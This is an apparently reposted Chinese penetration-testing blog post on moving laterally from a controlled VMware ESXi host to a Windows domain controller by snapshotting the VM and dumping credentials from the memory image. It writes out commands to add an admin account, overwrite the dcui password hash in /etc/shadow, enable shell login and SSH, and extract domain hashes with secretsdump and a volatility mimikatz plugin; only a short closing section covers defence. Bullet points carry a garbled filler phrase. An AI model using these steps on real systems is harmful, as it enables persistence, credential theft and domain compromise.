Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863106734

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 前言假定以下測試環境:我們獲得了內網VMware ESXI的控制權限,發現VMware ESXI上安裝了Windows域控服務器。

本文僅在技術研究的角度介紹從VMware ESXI橫向移動到該Windows域控服務器的方法,結合利用思路,給出防禦檢測的方法。

0x02 簡介本文將要介紹以下內容:

马云惹不起马云利用思路

马云惹不起马云常用命令

马云惹不起马云 實現方法

0x03 利用思路通過VMware ESXI管理虛擬機,創建快照文件,從快照文件中提取出有價值的信息。

0x04 常用命令1.查看虛擬機版本vmware-vl2.用戶信息相關(1)查看所有用戶

esxclisystemaccountlist(2)查看管理員用戶

esxclisystempermissionlist(3)添加用戶

esxclisystemaccountadd-itest1-pPassword@1-cPassword@1(4)將普通用戶添加成管理員用戶

esxclisystempermissionset-itest1-rAdmin(5)啟用內置管理員賬戶

默認配置下,dcui是管理員用戶,但是不允許遠程登錄,可以通過修改配置文件的方式設置dcui用戶的口令並啟用遠程登錄。

設置dcui用戶口令為Ballot5Twist7upset,依次輸入:

passwddcui

Ballot5Twist7upset

Ballot5Twist7upset一鍵設置dcui用戶口令:sed -i 's/dcui:\*:13358:0:99999:7:/dcui:$6$NaeURj2m.ZplDfbq$LdmyMwxQ7FKh3DS5V\/zhRQvRvfWzQMSS3wftFwaUsD9IZuxdns.0X.SPx.59bT.kmJOJ\/y3zenTmEcoxDVQsS\/:19160:0:99999:7:/g' /etc/shadow

啟用dcui用戶遠程登錄:

修改文件/etc/passwd,將dcui:x:100:100:DCUI User:/:/sbin/nologin修改為dcui:x:100:100:DCUI User:/:/bin/sh

一鍵啟用dcui用戶遠程登錄:sed -i 's/dcui:x:100:100:DCUI User:\/:\/sbin\/nologin/dcui:x:100:100:DCUI User:\/:\/bin\/sh/g' /etc/passwd

開啟ssh:

vim-cmdhostsvc/enable_ssh3.虛擬機相關(1)查看所有虛擬機

image.png

(2)查看指定虛擬機的狀態

image.png

(3)開啟指定虛擬機,可用於開機和從掛起狀態恢復

image.png

(4)掛起指定虛擬機

image.png

(5)關閉指定虛擬機

image.png

(6)查看指定虛擬機的操作日誌

image.png

4.虛擬機快照相關

(1)查看指定虛擬機的快照信息

image.png

(2)新建快照

image.png

示例1:

image.png

includeMemory 設置為true,表示包括內存,否則無法生成.vmem文件。

示例2:

image.png

這個命令等價於vim-cmd vmsvc/snapshot.create 1 test '' false false,不包括內存,不會生成.vmem文件。

(3)刪除快照

image.png

0x05 實現方法1.獲得虛擬機的vmid image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的vmid為1

2.查看虛擬機的快照信息image.png

測試環境下沒有虛擬機快照。

3.為虛擬機創建快照image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的snapshotIndex為1

4.使用volatility分析快照文件volatility是一款開源的取證分析軟件。

Python2版本的地址:https://github.com/volatilityfoundation/volatility

Python3版本的地址:https://github.com/volatilityfoundation/volatility3

volatility和volatility3的命令語法不同,功能基本相同,最新版本為volatility3,但這裡選擇volatility,理由如下:

马云惹不起马云 volatility有獨立的可執行程序,volatility3需要自己編譯

马云惹不起马云volatility3有mimikatz插件,可以從lsass進程提取數據,volatility3不支持這個插件

(1)定位鏡像文件

搜索後綴名為vmem的文件,命令如下:

image.png

測試環境下,獲得鏡像文件位置為./vmfs/volumes/62a735a8-ad916179-40dd-000c296a0829/DC1/DC1-Snapshot1.vmem

(2)上傳volatility_2.6_lin64_standalone

volatility_2.6_lin64_standalone的下載地址:

http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip

分析快照文件需要.vmem文件作為參數,而.vmem文件通常很大,為了提高效率,這裡選擇將volatility上傳至VMware ESXI,在VMware ESXI上分析快照文件。

(3)查看鏡像信息

通過鏡像信息獲得系統版本,命令如下:

image.png測試環境下,獲得Profile為Win2016x64_14393

(4)從註冊表獲得本地用戶hash

命令如下:

image.png

測試環境下,輸出結果:

image.png

(5)從註冊表讀取LSA Secrets

命令如下:

image.png

測試環境下,輸出結果:

image.png

(6)導出所有域用戶hash

需要下載ntds.dit、SYSTEM文件和SECURITY文件。

定位ntds.dit文件,命令如下:

image.png

輸出:

image.png

提取ntds.dit文件,命令如下:

image.png

依次再提取出SYSTEM文件和SECURITY文件,導出所有域用戶hash可以使用secretsdump,命令為:secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

(7)加載mimikatz插件,讀取lsass進程中保存的憑據

volatility_2.6_lin64_standalone不支持加載mimikatz插件,這裡可以選擇將整個快照文件(DC1-Snapshot1.vmem)下載至本地,搭建volatility環境,加載mimikatz插件。

kali安裝volatility的方法:

1. 安裝image.png

2. 測試volatility image.png

3. 添加mimikatz插件下載地址:https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py

將mimikatz.py保存至

4.安裝mimikatz插件的依賴image.png

這裡不能直接使用pip2 install construct,construct版本過高會導致在加載mimikatz.py時報錯AttributeError: 'module' object has no attribute 'ULInt32'

5.測試插件image.png

輸出:

image.png

安裝成功。

加載mimikatz插件的命令如下:

image.png

輸出結果:

image.png

補充:

讀取lsass進程中保存的憑據還可以使用以下方法:

1. 將鏡像文件轉成Crash Dump文件

image.png2. 使用Mimilib從dump文件中導出口令

詳細方法可參考之前的文章《渗透技巧——使用Mimilib从dump文件中导出口令》

5.刪除快照

image.png

0x06 防禦檢測1. 防禦內網VMware ESXI及時更新補丁

關閉內網VMware ESXI的ssh登錄功能

2. 檢測查看內網VMware ESXI登錄日誌

查看虛擬機快照鏡像標誌snapshotIndex是否異常,對於新的虛擬機,新建快照標誌snapshotIndex從1開始累加,刪除快照鏡像不會影響snapshotIndex,例如刪除snapshotIndex為1的快照,再次創建快照時snapshotIndex為2`

0x07 小結本文在技術研究的角度介紹了從VMware ESXI橫向移動到該Windows域控服務器的方法,使用volatility分析鏡像文件,提取關鍵信息,結合利用思路,給出防禦檢測的方法。